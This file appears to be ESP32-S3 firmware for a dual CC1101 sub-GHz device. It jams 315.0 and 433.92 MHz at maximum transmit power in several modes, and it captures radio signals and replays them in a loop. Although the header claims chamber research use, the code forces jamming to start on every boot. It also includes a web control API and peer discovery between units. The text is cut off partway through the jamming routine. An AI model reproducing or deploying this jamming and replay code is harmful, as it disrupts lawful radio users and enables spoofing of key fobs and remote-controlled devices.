/** * Dual CC1101 sub-GHz lab instrument (fixed carriers + optional capture/replay). * ESP32-S3 DevKitC-1: two CC1101 on shared SPI. * Radio 1: 315.0 MHz narrow FM + LFSR on GDO0; Radio 2: 433.92 MHz wide FM + LFSR. * Intended for authorized RF research (e.g. sealed anechoic / shielded chamber). * CC1101 reset and SPI sequencing follow TI SWRS061 (CHIP_RDYn, SRES Fig. 27). */ #include #include #include #include #include #include #include "driver/gpio.h" #include #include #include #include #include #include #include #include "config.h" // Shared SPI; each Module uses its own CS. // Must pass SPIClass explicitly so RadioLib uses our configured pins. static SPIClass spi(FSPI); static ArduinoHal hal(spi, SPISettings(SPI_SPEED_HZ, MSBFIRST, SPI_MODE0)); static Module mod1(&hal, CC1101_1_CS, CC1101_1_GDO0, RADIOLIB_NC, RADIOLIB_NC); static Module mod2(&hal, CC1101_2_CS, CC1101_2_GDO0, RADIOLIB_NC, RADIOLIB_NC); CC1101 radio1(&mod1); CC1101 radio2(&mod2); static WebServer server(WEB_PORT); static Preferences preferences; // CC1101 valid discrete power levels in dBm (RadioLib only accepts these exact values) static const int8_t kPowerTable[JAM_POWER_LEVELS] = { -30, -20, -15, -10, 0, 5, 7, 10 }; // Jamming state — TX power fixed at CC1101 max (+10 dBm); no PA in hardware path. static bool jammingEnabled = false; static uint8_t jamPowerIdx = DEFAULT_JAM_POWER_IDX; static int8_t jamPower = kPowerTable[DEFAULT_JAM_POWER_IDX]; // Policy: jam always starts after boot. NVS autoStartJam is forced true on each boot (no “boot jam off”). static bool autoStartJam = true; enum class JamMode : uint8_t { DIRECT = 0, PRECISION = 1, FLOOD = 2 }; static JamMode jamMode = JamMode::DIRECT; static bool s_floodJamActive = false; static uint32_t s_jamLfsrKeyHz = JAM_LFSR_KEY_HZ; static const char* jamModeToCstr(JamMode m) { switch (m) { case JamMode::PRECISION: return "precision"; case JamMode::FLOOD: return "flood"; default: return "direct"; } } static JamMode jamModeFromU8(uint8_t u) { if (u <= (uint8_t)JamMode::FLOOD) return (JamMode)u; return JamMode::DIRECT; } // Individual radio status tracking static int8_t radio1Status = -1; // 0=init, 1=standby/idle OK, 2=transmitting, -1=error static int8_t radio2Status = -1; static String radio1Error = "Disabled / not initialized"; static String radio2Error = "Disabled / not initialized"; // Telemetry static uint32_t uptimeStart = 0; static float currentRssi1 = NAN; static float currentRssi2 = NAN; // Locked jam carriers (UI / OLED) static float jamFreq1 = JAM_LOCK_FREQ_1_MHZ; static float jamFreq2 = JAM_LOCK_FREQ_2_MHZ; // Gate LFSR ISR so GDO0 is only toggled for radios in direct async TX (avoids driving idle CC1101). static volatile bool s_noiseEn1 = false; static volatile bool s_noiseEn2 = false; // Auto-reinit watchdog static uint32_t lastReInitCheck = 0; // 24-hour operation health tracking static uint32_t hopCount1 = 0; // total frequency hops since boot static uint32_t hopCount2 = 0; static uint32_t minFreeHeap = 0xFFFFFFFF; // lowest heap ever observed static uint32_t lastTempWarnMs = 0; // rate-limit temperature warnings // Boot self-test snapshot (SRES + RadioLib begin + VERSION); unchanged until next reboot static bool bootSelftestR1Pass = false; static bool bootSelftestR2Pass = false; static uint32_t bootSelftestDurationMs = 0; static String bootSelftestR1Detail = "not run"; static String bootSelftestR2Detail = "not run"; // Last on-demand self-test (POST /api/selftest); does not overwrite boot snapshot static bool lastSelftestRan = false; static bool lastSelftestR1Pass = false; static bool lastSelftestR2Pass = false; static uint32_t lastSelftestDurationMs = 0; static uint32_t lastSelftestAtMs = 0; static String lastSelftestR1Detail = "never"; static String lastSelftestR2Detail = "never"; // ─── OLED (0.96" SSD1306 128x64) ───────────────────────────────────────────── // SW_I2C: bit-bangs GPIO directly — no Wire library involved, always works // if the pins are physically correct. SDA=GPIO17, SCL=GPIO18. static U8G2_SSD1306_128X64_NONAME_F_SW_I2C u8g2(U8G2_R0, OLED_SCL_PIN, OLED_SDA_PIN, U8X8_PIN_NONE); static bool oledOk = false; static uint8_t oledPage = 0; // 0=status, 1=freq/hops, 2=health static uint32_t oledPageMs = 0; static uint32_t oledTickMs = 0; static uint8_t waveFrame = 0; // 0-3 animated arc count static uint32_t waveMs = 0; static uint32_t notifEnd = 0; // millis() when current notification expires static char notifL1[22] = {}; static char notifL2[22] = {}; // ─── Rotary encoder ────────────────────────────────────────────────────────── static volatile int8_t encDelta = 0; // +1 CW / -1 CCW per detent static uint8_t encLastClk = HIGH; void IRAM_ATTR encISR() { const uint32_t in = REG_READ(GPIO_IN_REG); const uint8_t clk = (in >> ENC_CLK_PIN) & 1u; if (clk == encLastClk) return; // filter glitch encLastClk = clk; if (clk == LOW) { // falling edge = one detent encDelta += ((in >> ENC_DT_PIN) & 1u) ? +1 : -1; } } // Log ring buffer static constexpr size_t LOG_LINES = 100; static String logRing[LOG_LINES]; static size_t logHead = 0; static size_t logCount = 0; static void logLine(const String& s) { uint32_t ms = millis(); uint32_t ss = ms / 1000; uint32_t mm = ss / 60; ss %= 60; uint32_t hh = mm / 60; mm %= 60; char ts[12]; snprintf(ts, sizeof(ts), "[%02u:%02u:%02u] ", hh, mm, ss); const String line = String(ts) + s; logRing[logHead] = line; logHead = (logHead + 1) % LOG_LINES; if (logCount < LOG_LINES) logCount++; Serial.println(line); } static String getLogsText() { String out; out.reserve(4096); const size_t start = (logCount == LOG_LINES) ? logHead : 0; for (size_t i = 0; i < logCount; i++) { const size_t idx = (start + i) % LOG_LINES; out += logRing[idx]; out += '\n'; } return out; } static String jsonEscape(const String& in) { String out; out.reserve(in.length() + 8); for (size_t i = 0; i < in.length(); ++i) { const char c = in.charAt(i); if (c == '\\') out += "\\\\"; else if (c == '\"') out += "\\\""; else if (c == '\n') out += "\\n"; else if (c == '\r') out += "\\r"; else if (c == '\t') out += "\\t"; else out += c; } return out; } // ─── ESP-NOW peer mesh (auto-discover same firmware, no MAC entry) ─────────── // All units must use the same WiFi AP channel (softAP uses ch 1). Beacons go to // broadcast; packets with magic "KLNK" mark another board running this build. static constexpr uint8_t kEspNowMagic[4] = { 'K', 'L', 'N', 'K' }; struct EspNowPeerEntry { uint8_t mac[6]; uint32_t lastSeenMs; }; static EspNowPeerEntry s_espNowPeers[ESPNOW_MAX_PEERS]; static uint8_t s_espNowPeerCount = 0; static uint32_t s_espNowBootToken = 0; static bool s_espNowReady = false; static uint32_t s_espNowLastTxMs = 0; static uint8_t s_espNowSelfMac[6]; static uint8_t espNowActivePeerCount() { const uint32_t now = millis(); uint8_t n = 0; for (uint8_t i = 0; i < s_espNowPeerCount; i++) { if (now - s_espNowPeers[i].lastSeenMs < ESPNOW_PEER_STALE_MS) n++; } return n; } static void espNowTouchPeer(const uint8_t mac[6]) { if (memcmp(mac, s_espNowSelfMac, 6) == 0) return; for (uint8_t i = 0; i < s_espNowPeerCount; i++) { if (memcmp(s_espNowPeers[i].mac, mac, 6) == 0) { s_espNowPeers[i].lastSeenMs = millis(); return; } } if (s_espNowPeerCount < ESPNOW_MAX_PEERS) { memcpy(s_espNowPeers[s_espNowPeerCount].mac, mac, 6); s_espNowPeers[s_espNowPeerCount].lastSeenMs = millis(); s_espNowPeerCount++; char m[24]; snprintf(m, sizeof(m), "%02X:%02X:%02X:%02X:%02X:%02X", mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]); logLine("[ESPNOW] node " + String(m)); return; } uint8_t bi = 0; uint32_t oldest = s_espNowPeers[0].lastSeenMs; for (uint8_t i = 1; i < ESPNOW_MAX_PEERS; i++) { if (s_espNowPeers[i].lastSeenMs < oldest) { oldest = s_espNowPeers[i].lastSeenMs; bi = i; } } memcpy(s_espNowPeers[bi].mac, mac, 6); s_espNowPeers[bi].lastSeenMs = millis(); } static void espNowOnRecv(const uint8_t* mac, const uint8_t* data, int len) { if (len < 12 || mac == nullptr || data == nullptr) return; if (memcmp(data, kEspNowMagic, 4) != 0) return; espNowTouchPeer(mac); } static void espNowInit() { s_espNowBootToken = esp_random(); if (s_espNowBootToken == 0) s_espNowBootToken = 0xC0FFEE01u; if (esp_read_mac(s_espNowSelfMac, ESP_MAC_WIFI_SOFTAP) != ESP_OK) { memset(s_espNowSelfMac, 0, 6); } if (esp_now_init() != ESP_OK) { logLine("[ESPNOW] esp_now_init failed"); return; } esp_now_register_recv_cb(espNowOnRecv); uint8_t bcast[6] = { 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF }; esp_now_peer_info_t peer = {}; memcpy(peer.peer_addr, bcast, 6); peer.channel = 0; peer.encrypt = false; peer.ifidx = WIFI_IF_AP; esp_err_t e = esp_now_add_peer(&peer); if (e != ESP_OK) { logLine("[ESPNOW] add_peer(broadcast) failed: " + String((int)e)); esp_now_deinit(); return; } s_espNowReady = true; logLine("[ESPNOW] mesh listening; beacons every " + String(ESPNOW_BEACON_MS) + " ms (same AP channel)"); } static void espNowTick() { if (!s_espNowReady) return; const uint32_t now = millis(); if (now - s_espNowLastTxMs < ESPNOW_BEACON_MS) return; s_espNowLastTxMs = now; uint8_t pkt[12]; memcpy(pkt, kEspNowMagic, 4); memcpy(pkt + 4, &s_espNowBootToken, 4); uint32_t up = now - uptimeStart; memcpy(pkt + 8, &up, 4); uint8_t bcast[6] = { 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF }; (void)esp_now_send(bcast, pkt, sizeof(pkt)); } // Forward declarations static void noiseGenStart(); static void startJamming(); static void stopJamming(); static void probeRadiosStandby(); static void runBootSelfTest(); static void runManualSelfTest(); static void oledNotify(const char* l1, const char* l2, uint32_t dur); static void spiWriteReg(uint8_t csPin, uint8_t reg, uint8_t val); static void jamFloodTick(); static void handleJamMode(); static void handleCc1101RegsGet(); static void handleCc1101RegsPost(); static void handleCc1101RegsRoute(); // ─── Noise generator globals (used by stopJamming before definition) ───────── static volatile uint32_t s_lfsr = 0xDEADBEEFu; static hw_timer_t* s_noiseTimer = nullptr; // ─── Signal capture / replay globals ───────────────────────────────────────── // Buffer lives in BSS (static) — 50 KB, no heap fragmentation. static uint8_t capBuf[CAP_BUF_BYTES]; enum class CapMode : uint8_t { IDLE=0, RECORDING=1, RECORDED=2, REPLAYING=3 }; static volatile CapMode capMode = CapMode::IDLE; static volatile uint32_t capIdx = 0; // current bit index static volatile bool capBufFull = false; // set by ISR when buffer fills static volatile uint32_t capRecBits = 0; // replay ISR + main; keep consistent with capIdx static float capFreq = 315.0f; // frequency at capture time static uint8_t capRadioNum = 1; // 1 or 2 static bool capIsOOK = true; // modulation: true=OOK, false=2-FSK static gpio_num_t capGdoPin = (gpio_num_t)CC1101_1_GDO0; static hw_timer_t* capTimer = nullptr; static volatile uint32_t capTransitions = 0; // edge count — used for bitrate estimation static volatile uint32_t capLongRuns = 0; // counts stable runs (>15 samples) to filter out thermal noise static uint32_t capCurrentRun = 0; // current stable run length static bool capSigNotified = false; // fire OLED notification only once per session static bool capPrevJamming = false; // jammingEnabled state saved before capture pauses it struct CapHistoryEntry { uint32_t uptime_ms; float freq_mhz; uint32_t bits; uint8_t radio_num; uint8_t is_ook; }; static CapHistoryEntry capHistory[CAP_HISTORY_MAX]; static uint8_t capHistoryCount = 0; static void capHistoryPersist() { preferences.putUChar("capHistN", capHistoryCount); if (capHistoryCount > 0) { preferences.putBytes("capHist", capHistory, capHistoryCount * sizeof(CapHistoryEntry)); } } static void capHistoryLoad() { capHistoryCount = preferences.getUChar("capHistN", 0); if (capHistoryCount > CAP_HISTORY_MAX) capHistoryCount = CAP_HISTORY_MAX; if (capHistoryCount == 0) return; const size_t expect = capHistoryCount * sizeof(CapHistoryEntry); const size_t rd = preferences.getBytes("capHist", capHistory, sizeof(capHistory)); if (rd < expect) { capHistoryCount = (uint8_t)(rd / sizeof(CapHistoryEntry)); } } static void capHistoryAppend(uint32_t bits, float freqMhz, uint8_t radioNum, bool isOOK) { if (bits < 100) return; if (capHistoryCount < CAP_HISTORY_MAX) { memmove(&capHistory[1], &capHistory[0], capHistoryCount * sizeof(CapHistoryEntry)); capHistoryCount++; } else { memmove(&capHistory[1], &capHistory[0], (CAP_HISTORY_MAX - 1) * sizeof(CapHistoryEntry)); } capHistory[0].uptime_ms = millis(); capHistory[0].freq_mhz = freqMhz; capHistory[0].bits = bits; capHistory[0].radio_num = radioNum; capHistory[0].is_ook = isOOK ? 1u : 0u; capHistoryPersist(); } // ─── Capture/replay ISRs ────────────────────────────────────────────────────── static void IRAM_ATTR capRecordISR() { const uint32_t i = capIdx; if (i >= (uint32_t)(CAP_BUF_BYTES * 8)) { capBufFull = true; return; } const uint8_t bit = (uint8_t)((REG_READ(GPIO_IN_REG) >> capGdoPin) & 1u); // Count transitions and long stable runs (software squelch) if (i > 0) { const uint8_t prev = (capBuf[(i-1) >> 3] >> ((i-1) & 7)) & 1u; if (bit == prev) { capCurrentRun++; } else { capTransitions++; if (capCurrentRun > 15) capLongRuns++; capCurrentRun = 0; } } if (bit) capBuf[i >> 3] |= (1u << (i & 7)); else capBuf[i >> 3] &= ~(1u << (i & 7)); capIdx = i + 1; } static void IRAM_ATTR capReplayISR() { uint32_t i = capIdx; if (i >= capRecBits) { i = 0; } // loop seamlessly const uint8_t bit = (capBuf[i >> 3] >> (i & 7)) & 1u; gpio_set_level(capGdoPin, bit); capIdx = i + 1; } // ─── Capture/replay management ─────────────────────────────────────────────── static void capTimerStop() { if (capTimer) { timerAlarmDisable(capTimer); timerDetachInterrupt(capTimer); timerEnd(capTimer); capTimer = nullptr; } } static void startCapture(float freq, uint8_t radioNum, bool isOOK) { capPrevJamming = jammingEnabled; // save before stopJamming() clears it stopJamming(); capFreq = freq; capRadioNum = radioNum; capIsOOK = isOOK; capGdoPin = (radioNum == 1) ? (gpio_num_t)CC1101_1_GDO0 : (gpio_num_t)CC1101_2_GDO0; capTransitions = 0; capLongRuns = 0; capCurrentRun = 0; capSigNotified = false; memset(capBuf, 0, sizeof(capBuf)); CC1101& radio = (radioNum == 1) ? radio1 : radio2; radio.standby(); radio.setOOK(isOOK); radio.setFrequency(freq); radio.setFrequencyDeviation(JAM_FREQ_DEV_KHZ); radio.receiveDirect(); // GDO0 becomes demodulated-data output from CC1101 // After receiveDirect, CC1101 drives GDO0 — set ESP32 pin as input to read it gpio_set_direction(capGdoPin, GPIO_MODE_INPUT); capTimerStop(); noInterrupts(); capIdx = 0; capBufFull = false; capRecBits = 0; capMode = CapMode::RECORDING; interrupts(); capTimer = timerBegin(3, 80, true); // timer 3, 1 MHz tick timerAttachInterrupt(capTimer, &capRecordISR, true); timerAlarmWrite(capTimer, 1000000 / CAP_SAMPLE_HZ, true); // period in µs timerAlarmEnable(capTimer); logLine("[CAP] Recording " + String(freq, 3) + " MHz via radio " + String(radioNum) + " @ " + String(CAP_SAMPLE_HZ/1000) + " kHz"); oledNotify("RECORDING", (String(freq, 2) + " MHz").c_str(), 2500); } static void startReplay(uint8_t radioNum) { if (capRecBits == 0) { logLine("[CAP] Nothing captured to replay"); return; } capPrevJamming = jammingEnabled; // save before stopJamming() clears it stopJamming(); capRadioNum = radioNum; capGdoPin = (radioNum == 1) ? (gpio_num_t)CC1101_1_GDO0 : (gpio_num_t)CC1101_2_GDO0; CC1101& radio = (radioNum == 1) ? radio1 : radio2; const uint8_t csPin = (radioNum == 1) ? CC1101_1_CS : CC1101_2_CS; radio.standby(); radio.setOOK(capIsOOK); radio.setFrequency(capFreq); radio.setFrequencyDeviation(JAM_FREQ_DEV_KHZ); // Configure PATABLE for maximum OOK contrast and TX power. // In OOK mode the CC1101 uses PATABLE[0] for "0" bits and PATABLE[1] for "1" bits. // 0x00 = full off, 0xC0 = max power (+10 dBm). This gives the sharpest on/off // keying and maximizes replay range by eliminating residual carrier leakage during OFF. if (capIsOOK) { spiWriteReg(csPin, 0x3E, 0x00); // PATABLE[0] = off spi.beginTransaction(SPISettings(SPI_SPEED_HZ, MSBFIRST, SPI_MODE0)); digitalWrite(csPin, LOW); spi.transfer(0x7E); // Burst write PATABLE spi.transfer(0x00); // index 0: OFF spi.transfer(0xC0); // index 1: max power (+10 dBm) digitalWrite(csPin, HIGH); spi.endTransaction(); } radio.transmitDirectAsync(); // GDO0 becomes data input to CC1101 gpio_set_direction(capGdoPin, GPIO_MODE_OUTPUT); capTimerStop(); noInterrupts(); capIdx = 0; capMode = CapMode::REPLAYING; interrupts(); capTimer = timerBegin(3, 80, true); timerAttachInterrupt(capTimer, &capReplayISR, true); timerAlarmWrite(capTimer, 1000000 / CAP_SAMPLE_HZ, true); timerAlarmEnable(capTimer); logLine("[CAP] Replaying " + String(capFreq, 3) + " MHz, " + String(capRecBits) + " bits (" + String(capRecBits * 1000 / CAP_SAMPLE_HZ) + " ms), looping"); oledNotify("REPLAYING", (String(capFreq, 2) + " MHz").c_str(), 2500); } static void stopCapture() { capTimerStop(); noInterrupts(); const CapMode was = capMode; if (was == CapMode::RECORDING) { capRecBits = capIdx; capMode = (capRecBits > 0) ? CapMode::RECORDED : CapMode::IDLE; } else if (was == CapMode::REPLAYING) { capMode = CapMode::RECORDED; } interrupts(); if (was == CapMode::RECORDING) { logLine("[CAP] Stopped: " + String(capRecBits) + " bits saved"); oledNotify("CAPTURED", (String(capRecBits / 1000) + "k bits").c_str(), 2500); if (capRecBits >= 100) { capHistoryAppend(capRecBits, capFreq, capRadioNum, capIsOOK); } } else if (was == CapMode::REPLAYING) { logLine("[CAP] Replay stopped"); oledNotify("REPLAY", "STOPPED", 2500); } // Restore pin direction then restart jamming if it was active before capture gpio_set_direction(capGdoPin, GPIO_MODE_OUTPUT); gpio_set_level(capGdoPin, 0); if (capPrevJamming) { capPrevJamming = false; jammingEnabled = true; startJamming(); } } // Simple signal analysis — counts transitions to estimate original bitrate // and measures duty cycle (fraction of 1s = carrier-on time). static String capAnalyze() { if (capRecBits < 100) return "{\"err\":\"no data\"}"; uint32_t ones = 0, transitions = 0; uint8_t prev = (capBuf[0] >> 0) & 1u; if (prev) ones++; // count bit 0 for (uint32_t i = 1; i < capRecBits; i++) { const uint8_t b = (capBuf[i >> 3] >> (i & 7)) & 1u; if (b) ones++; if (b != prev) { transitions++; prev = b; } } // Approximate original bitrate: each symbol averages capRecBits/transitions samples const uint32_t avgRunLen = (transitions > 0) ? (capRecBits / transitions) : capRecBits; const uint32_t estBps = (avgRunLen > 0) ? (CAP_SAMPLE_HZ / avgRunLen) : 0; const uint32_t dutyPct = (uint32_t)(ones * 100UL / capRecBits); const uint32_t durMs = capRecBits * 1000 / CAP_SAMPLE_HZ; char buf[200]; snprintf(buf, sizeof(buf), "{\"bits\":%lu,\"dur_ms\":%lu,\"transitions\":%lu," "\"est_bps\":%lu,\"duty_pct\":%lu,\"freq\":%.3f}", (unsigned long)capRecBits, (unsigned long)durMs, (unsigned long)transitions, (unsigned long)estBps, (unsigned long)dutyPct, (double)capFreq); return String(buf); } // ─── Raw SPI (PATABLE burst for OOK replay) ────────────────────────────────── static void spiWriteReg(uint8_t csPin, uint8_t reg, uint8_t val) { spi.beginTransaction(SPISettings(SPI_SPEED_HZ, MSBFIRST, SPI_MODE0)); digitalWrite(csPin, LOW); spi.transfer(reg); spi.transfer(val); digitalWrite(csPin, HIGH); spi.endTransaction(); } // TI CC1101 SWRS061 §10.1 / §19.1.2 Figure 27 — CHIP_RDYn on SO after CSn low; SRES with SCLK=1, SI=0 before sequence. static bool cc1101WaitMisoLow(uint32_t timeoutUs) { const uint32_t t0 = micros(); while (digitalRead(SPI_MISO_PIN) == HIGH) { if ((uint32_t)(micros() - t0) > timeoutUs) return false; } return true; } static bool cc1101ManualReset(uint8_t csPin) { digitalWrite(CC1101_1_CS, HIGH); digitalWrite(CC1101_2_CS, HIGH); pinMode(SPI_SCK_PIN, OUTPUT); pinMode(SPI_MOSI_PIN, OUTPUT); digitalWrite(SPI_SCK_PIN, HIGH); digitalWrite(SPI_MOSI_PIN, LOW); pinMode(csPin, OUTPUT); digitalWrite(csPin, HIGH); delayMicroseconds(20); digitalWrite(csPin, LOW); delayMicroseconds(200); digitalWrite(csPin, HIGH); delayMicroseconds(50); digitalWrite(csPin, LOW); if (!cc1101WaitMisoLow(10000)) { digitalWrite(csPin, HIGH); return false; } spi.beginTransaction(SPISettings(SPI_SPEED_HZ, MSBFIRST, SPI_MODE0)); spi.transfer(0x30); { const uint32_t t0 = micros(); while (digitalRead(SPI_MISO_PIN) == HIGH) { if ((uint32_t)(micros() - t0) > 50000) { digitalWrite(csPin, HIGH); spi.endTransaction(); return false; } } } digitalWrite(csPin, HIGH); spi.endTransaction(); // XOSC / digital core settle (SWRS061 §19.1); margin beyond 150 µs tsp,pd for lab repeatability delayMicroseconds(800); return true; } static uint8_t cc1101ReadRegister(uint8_t csPin, uint8_t regAddr6) { digitalWrite(CC1101_1_CS, HIGH); digitalWrite(CC1101_2_CS, HIGH); spi.beginTransaction(SPISettings(SPI_SPEED_HZ, MSBFIRST, SPI_MODE0)); digitalWrite(csPin, LOW); delayMicroseconds(10); spi.transfer((uint8_t)(0x80u | (regAddr6 & 0x3Fu))); uint8_t v = spi.transfer(0x00); digitalWrite(csPin, HIGH); spi.endTransaction(); return v; } // VERSION (0x31): only 0xFF indicates dead SPI / wrong CS; other values are valid silicon revs (SWRS061). static bool cc1101VerifyVersion(uint8_t csPin, String* errOut) { const uint8_t ver = cc1101ReadRegister(csPin, 0x31); if (ver == 0xFF) { if (errOut) *errOut = "VERSION 0xFF (MISO open or CS conflict)"; return false; } logLine("[CC1101] CS" + String((int)csPin) + " VERSION=0x" + String(ver, HEX)); return true; } static void probeOneRadio(CC1101& radio, uint8_t cs, float nomMhz, float lockMhz, float devKhz, int8_t& stOut, String& errOut) { stOut = -1; if (!cc1101ManualReset(cs)) { errOut = "SRES/CHIP_RDYn failed (see SWRS061 Fig.27)"; return; } delay(5); int st = RADIOLIB_ERR_CHIP_NOT_FOUND; for (int attempt = 0; attempt < 3 && st != RADIOLIB_ERR_NONE; attempt++) { if (attempt > 0) delay(30); st = radio.begin(nomMhz, JAM_BITRATE_KBPS, JAM_FREQ_DEV_KHZ, JAM_RX_BW_KHZ, jamPower, 16); } if (st != RADIOLIB_ERR_NONE) { errOut = "Init failed: " + String(st); return; } String verr; if (!cc1101VerifyVersion(cs, &verr)) { (void)radio.standby(); errOut = verr; return; } radio.setFrequency(lockMhz); radio.setFrequencyDeviation(devKhz); (void)radio.standby(); stOut = 1; errOut = ""; } static void probeRadiosStandby() { radio1Error = ""; radio2Error = ""; jamFreq1 = JAM_LOCK_FREQ_1_MHZ; jamFreq2 = JAM_LOCK_FREQ_2_MHZ; int8_t s1 = -1, s2 = -1; probeOneRadio(radio1, CC1101_1_CS, CC1101_1_FREQ_MHZ, JAM_LOCK_FREQ_1_MHZ, JAM_DEV_KHZ_R1_NARROW, s1, radio1Error); radio1Status = s1; probeOneRadio(radio2, CC1101_2_CS, CC1101_2_FREQ_MHZ, JAM_LOCK_FREQ_2_MHZ, JAM_DEV_KHZ_R2_WIDE, s2, radio2Error); radio2Status = s2; if (radio1Status == 1) logLine("[R1] probe OK (standby)"); else logLine("[R1] probe FAIL: " + radio1Error); if (radio2Status == 1) logLine("[R2] probe OK (standby)"); else logLine("[R2] probe FAIL: " + radio2Error); } static String selftestTruncateDetail(const String& s) { const size_t maxLen = 72; if ((size_t)s.length() <= maxLen) return s; return s.substring(0, (unsigned)maxLen) + "..."; } // Runs on every power-up after SPI is ready: same path as chamber probe (TI SWRS061 + VERSION). static void runBootSelfTest() { const uint32_t t0 = millis(); logLine("[SELFTEST] Boot radio check (every power-up)..."); probeRadiosStandby(); bootSelftestR1Pass = (radio1Status == 1); bootSelftestR2Pass = (radio2Status == 1); bootSelftestR1Detail = selftestTruncateDetail(bootSelftestR1Pass ? String("PASS") : radio1Error); bootSelftestR2Detail = selftestTruncateDetail(bootSelftestR2Pass ? String("PASS") : radio2Error); bootSelftestDurationMs = millis() - t0; logLine("[SELFTEST] R1 " + bootSelftestR1Detail + " | R2 " + bootSelftestR2Detail + " | " + String(bootSelftestDurationMs) + " ms"); if (bootSelftestR1Pass && bootSelftestR2Pass) { logLine("[SELFTEST] Result: ALL PASS"); } else { logLine("[SELFTEST] Result: FAIL — fix wiring/power before trusting TX"); } } // On-demand: no reboot; ends in standby or restores jam if it was on. Rejects while capture active (HTTP). static void runManualSelfTest() { const bool wasJam = jammingEnabled; if (wasJam) stopJamming(); const uint32_t t0 = millis(); logLine("[SELFTEST] Manual radio check..."); probeRadiosStandby(); lastSelftestRan = true; lastSelftestR1Pass = (radio1Status == 1); lastSelftestR2Pass = (radio2Status == 1); lastSelftestDurationMs = millis() - t0; lastSelftestAtMs = millis() - uptimeStart; lastSelftestR1Detail = selftestTruncateDetail(lastSelftestR1Pass ? String("PASS") : radio1Error); lastSelftestR2Detail = selftestTruncateDetail(lastSelftestR2Pass ? String("PASS") : radio2Error); logLine("[SELFTEST] Manual R1 " + lastSelftestR1Detail + " | R2 " + lastSelftestR2Detail + " | " + String(lastSelftestDurationMs) + " ms"); if (wasJam) { jammingEnabled = true; startJamming(); } } // Start simultaneous jamming on both radios (SRES before each begin; VERSION check; noise after TX entry). static void startJamming() { logLine("[JAM] Starting simultaneous jamming system"); jamPowerIdx = DEFAULT_JAM_POWER_IDX; jamPower = kPowerTable[jamPowerIdx]; preferences.putInt("jamPowerIdx", (int)jamPowerIdx); logLine("[JAM] TX power fixed: " + String(jamPower) + " dBm (max)"); s_noiseEn1 = false; s_noiseEn2 = false; if (s_noiseTimer) { timerAlarmDisable(s_noiseTimer); timerDetachInterrupt(s_noiseTimer); timerEnd(s_noiseTimer); s_noiseTimer = nullptr; } gpio_set_level((gpio_num_t)CC1101_1_GDO0, 0); gpio_set_level((gpio_num_t)CC1101_2_GDO0, 0); radio1Status = 0; radio2Status = 0; radio1Error = ""; radio2Error = ""; int st1 = RADIOLIB_ERR_CHIP_NOT_FOUND; for (int attempt = 0; attempt < 3 && st1 != RADIOLIB_ERR_NONE; attempt++) { if (attempt > 0) delay(50); if (!cc1101ManualReset(CC1101_1_CS)) { st1 = RADIOLIB_ERR_CHIP_NOT_FOUND; radio1Error = "SRES/CHIP_RDYn failed"; continue; } delay(5); st1 = radio1.begin(CC1101_1_FREQ_MHZ, JAM_BITRATE_KBPS, JAM_FREQ_DEV_KHZ, JAM_RX_BW_KHZ, jamPower, 16); } if (st1 != RADIOLIB_ERR_NONE) { radio1Status = -1; if (radio1Error.length() == 0) radio1Error = "Init failed: " + String(st1); logLine("[R1] init failed: " + radio1Error); } else { String verr; if (!cc1101VerifyVersion(CC1101_1_CS, &verr)) { (void)radio1.standby(); radio1Status = -1; radio1Error = verr; logLine("[R1] VERSION check failed: " + verr); } else { radio1Status = 1; radio1.setFrequency(JAM_LOCK_FREQ_1_MHZ); } } int st2 = RADIOLIB_ERR_CHIP_NOT_FOUND; for (int attempt = 0; attempt < 3 && st2 != RADIOLIB_ERR_NONE; attempt++) { if (attempt > 0) delay(50); if (!cc1101ManualReset(CC1101_2_CS)) { st2 = RADIOLIB_ERR_CHIP_NOT_FOUND; radio2Error = "SRES/CHIP_RDYn failed"; continue; } delay(5); st2 = radio2.begin(CC1101_2_FREQ_MHZ, JAM_BITRATE_KBPS, JAM_FREQ_DEV_KHZ, JAM_RX_BW_KHZ, jamPower, 16); } if (st2 != RADIOLIB_ERR_NONE) { radio2Status = -1; if (radio2Error.length() == 0) radio2Error = "Init failed: " + String(st2); logLine("[R2] init failed: " + radio2Error); } else { String verr; if (!cc1101VerifyVersion(CC1101_2_CS, &verr)) { (void)radio2.standby(); radio2Status = -1; radio2Error = verr; logLine("[R2] VERSION check failed: " + verr); } else { radio2Status = 1; radio2.setFrequency(JAM_LOCK_FREQ_2_MHZ); } } jamFreq1 = JAM_LOCK_FREQ_1_MHZ; jamFreq2 = JAM_LOCK_FREQ_2_MHZ; // Per-mode modulation (freq already set) if (radio1Status == 1) { switch (jamMode) { case JamMode::PRECISION: (void)radio1.setOOK(false); radio1.setFrequencyDeviation(JAM_PRECISION_DEV_R1_KHZ); break; case JamMode::FLOOD: (void)radio1.setOOK(false); radio1.setFrequencyDeviation(JAM_FLOOD_DEV_R1_KHZ); break; case JamMode::DIRECT: default: #if JAM_R1_USE_OOK if (radio1.setOOK(true) != RADIOLIB_ERR_NONE) { logLine("[R1] setOOK failed — falling back to wide 2-FSK jam"); (void)radio1.setOOK(false); radio1.setFrequencyDeviation(JAM_DEV_KHZ_R1_WIDE); } else { logLine("[JAM] R1 ASK/OOK + LFSR (direct mode)"); } #else (void)radio1.setOOK(false); radio1.setFrequencyDeviation(JAM_DEV_KHZ_R1_WIDE); #endif break; } } if (radio2Status == 1) { switch (jamMode) { case JamMode::PRECISION: radio2.setFrequencyDeviation(JAM_PRECISION_DEV_R2_KHZ); break; case JamMode::FLOOD: radio2.setFrequencyDeviation(JAM_FLOOD_DEV_R2_KHZ); break; case JamMode::DIRECT: default: radio2.setFrequencyDeviation(JAM_DEV_KHZ_R2_WIDE); break; } } s_floodJamActive = false; int stTx1 = RADIOLIB_ERR_NONE; int stTx2 = RADIOLIB_ERR_NONE; if (jamMode == JamMode::FLOOD) { logLine(String("[JAM] Mode: flood (packet PRNG, ") + String(JAM_FLOOD_PKT_BYTES) + " B) @ " + String(JAM_LOCK_FREQ_1_MHZ, 2) + " / " + String(JAM_LOCK_FREQ_2_MHZ, 2) + " MHz"); if (radio1Status == 1) radio1Status = 2; if (radio2Status == 1) radio2Status = 2; s_floodJamActive = (radio1Status == 2 || radio2Status == 2); s_noiseEn1 = false; s_noiseEn2 = false; } else { s_jamLfsrKeyHz = (jamMode == JamMode::PRECISION) ? (uint32_t)JAM_PRECISION_LFSR_HZ : (uint32_t)JAM_LFSR_KEY_HZ; logLine(String("[JAM] Mode: ") + jamModeToCstr(jamMode) + " | LFSR " + String(s_jamLfsrKeyHz) + 